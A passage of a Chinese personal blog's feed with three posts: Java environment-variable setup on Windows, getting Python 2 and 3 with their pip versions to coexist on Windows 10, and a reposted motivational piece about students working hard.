<content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>Java版本<code>1.8.0_161</code><br>我的安装目录<code>C:\Java\</code><br><a id="more"></a></p><h4 id="环境变量配置"><a href="#环境变量配置" class="headerlink" title="环境变量配置"></a>环境变量配置</h4><p>添加环境变量<br><code>JAVA_HOME</code> </p><blockquote><p>C:\Java\jdk1.8.0_161</p></blockquote><p><code>CLASSPATH</code></p><blockquote><p>.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;</p></blockquote><p>编辑<code>path</code></p><blockquote><p>%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin; </p></blockquote><h4 id="测试一下变量配置是否正确"><a href="#测试一下变量配置是否正确" class="headerlink" title="测试一下变量配置是否正确"></a>测试一下变量配置是否正确</h4><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx4.sinaimg.cn/mw690/006ALkzYgy1ftwy76xcljj30lg067dg4.jpg" alt="java and javac" title=""> </div> <div class="image-caption">java and javac</div> </figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">test</span></span>{</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span></span>{</span><br><span class="line">System.out.println(<span class="string">"Hello World, hello java !"</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>保存为<code>test.java</code><br>编译<code>源代码</code><br><code>javac test.java</code><br><code>java test</code></p><h4 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h4><p><a href="https://www.oracle.com/technetwork/java/javase/downloads/index.html" rel="noopener">最新版Java</a><br><a href="http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html" rel="noopener">Java8_se </a></p>]]></content>
<summary type="html">
<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>Java版本<code>1.8.0_161</code><br>我的安装目录<code>C:\Java\</code><br>
</summary>
<category term="编程" scheme="http://www.deops.cn/categories/%E7%BC%96%E7%A8%8B/"/>
<category term="Java" scheme="http://www.deops.cn/tags/Java/"/>
<category term="编程" scheme="http://www.deops.cn/tags/%E7%BC%96%E7%A8%8B/"/>
</entry>
<entry>
<title>Win10环境下Python2、3和pip2、3版本共存</title>
<link href="http://www.deops.cn//posts/e9c6771b/"/>
<id>http://www.deops.cn//posts/e9c6771b/</id>
<published>2018-08-03T15:04:25.000Z</published>
<updated>2018-10-04T02:37:47.698Z</updated>
<content type="html"><![CDATA[<p>这里我使用Win10-x64的电脑来操作<br>我的Python安装目录<code>C:\Python\</code><br><a id="more"></a><br><strong>安装Python</strong><br>首先安装Python3<br><code>C:\Python\Python35\</code><br>直接下一步下一步即可</p><p>然后安装Python2<br><code>C:\Python\Python27\</code><br>安装<code>Python2</code>的时候把添加到环境变量的勾先去掉</p><p>修改系统环境变量<br>编辑<code>Path</code>变量,添加<code>Python2</code>的环境变量<br>这里我的目录是<code>C:\Python\Python27\</code>和<code>C:\Python\Python27\Scripts\</code></p><p>将<code>python.exe</code>重命名了<br>一个修改成<code>python3.exe</code>;<br>一个修改成<code>python2.exe</code>即可</p><p><strong>pip的设置</strong><br> Python 安装包需要用到包管理工具pip,但是当同时安装python2和python3的时候,pip只是其中一个版本,以下将提供一个修改方式,即重新安装两个版本的pip,使得两个python版本的pip能够共存。<br>运行如下命令即可<br><strong><code>python3 -m pip install --upgrade pip --force-reinstall</code></strong></p><p><strong><code>python2 -m pip install --upgrade pip --force-reinstall</code></strong></p>]]></content>
<summary type="html">
<p>这里我使用Win10-x64的电脑来操作<br>我的Python安装目录<code>C:\Python\</code><br>
</summary>
<category term="编程" scheme="http://www.deops.cn/categories/%E7%BC%96%E7%A8%8B/"/>
<category term="编程" scheme="http://www.deops.cn/tags/%E7%BC%96%E7%A8%8B/"/>
<category term="Python2" scheme="http://www.deops.cn/tags/Python2/"/>
<category term="Python3" scheme="http://www.deops.cn/tags/Python3/"/>
<category term="Python-pip" scheme="http://www.deops.cn/tags/Python-pip/"/>
</entry>
<entry>
<title>自由的灵魂必将远航</title>
<link href="http://www.deops.cn//posts/9e3f6743/"/>
<id>http://www.deops.cn//posts/9e3f6743/</id>
<published>2018-08-03T13:55:24.000Z</published>
<updated>2018-10-03T17:35:42.241Z</updated>
<content type="html"><![CDATA[<p>你背单词时,阿拉斯加的鳕鱼正跃出水面;你算数学时,太平洋彼岸的海鸥振翅掠过城市上空;你晚自习时,极圈上的夜空散漫了五彩斑斓;但是少年你别着急,在你为自己未来踏踏实实地努力时,那些你感觉从来不会看到的景色,那些你觉得终身不会遇到的人,正一步步向你走来。</p><p>我想象不到在这个星球发生的很多美好的景象,所以我才努力,因为世界那么大,我想去看看。</p><p>依然还是很喜欢这句话,</p><p>我还在努力,所以等等我</p><p>嘻嘻,原来这句话,不算鸡汤呀<br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx2.sinaimg.cn/mw690/006ALkzYly1ftxmperp0kj30k00b9q82.jpg" alt="img" title=""> </div> <div class="image-caption">img</div> </figure><br><a id="more"></a><br>学弟学妹也加油,我在距离清华5公里外的</p><p>北四环,等你</p><p>只是个沉默的大多数</p><p>多说了几句话。</p><p>这句话,好像我想在的生活状态</p><p>快节奏的生活</p><p>当你认真起来的样子真的有点可爱<br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx4.sinaimg.cn/mw690/006ALkzYly1ftxmrj5vi8j30k00jcqet.jpg" alt="doge | 300x300" title=""> </div> <div class="image-caption">doge | 300x300</div> </figure><br><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx2.sinaimg.cn/mw690/006ALkzYly1ftxmsdymwzj30k00f0gzn.jpg" alt="books" title=""> </div> <div class="image-caption">books</div> </figure><br>to be or not to be.<br>that is the question.<br>谨以此句献给在迷雾中砥砺前行的我们</p><p>后续…<br>谢谢大家的赞<br>这句话会有种莫名的情怀,有点小治愈。<br><strong>当然,努力不是自我感动</strong><br><strong>最怕你一直忙忙碌碌</strong><br><strong>到头来还在人海里浮沉。</strong><br><strong>有趣的灵魂和努力的你都要在路上</strong></p><hr><p>来自<code>知乎</code><a href="https://www.zhihu.com/question/274001514/answer/405301907" rel="noopener">当代大学生有多努力?</a><code>@薛定谔的 en</code></p>]]></content>
<summary type="html">
<p>你背单词时,阿拉斯加的鳕鱼正跃出水面;你算数学时,太平洋彼岸的海鸥振翅掠过城市上空;你晚自习时,极圈上的夜空散漫了五彩斑斓;但是少年你别着急,在你为自己未来踏踏实实地努力时,那些你感觉从来不会看到的景色,那些你觉得终身不会遇到的人,正一步步向你走来。</p>
<p>我想象不到在这个星球发生的很多美好的景象,所以我才努力,因为世界那么大,我想去看看。</p>
<p>依然还是很喜欢这句话,</p>
<p>我还在努力,所以等等我</p>
<p>嘻嘻,原来这句话,不算鸡汤呀<br><figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="https://wx2.sinaimg.cn/mw690/006ALkzYly1ftxmperp0kj30k00b9q82.jpg" alt="img" title="">
</div>
<div class="image-caption">img</div>
</figure><br>
</summary>
<category term="学习" scheme="http://www.deops.cn/tags/%E5%AD%A6%E4%B9%A0/"/>
<category term="生活" scheme="http://www.deops.cn/tags/%E7%94%9F%E6%B4%BB/"/>
<category term="努力" scheme="http://www.deops.cn/tags/%E5%8A%AA%E5%8A%9B/"/>
</entry>
</feed>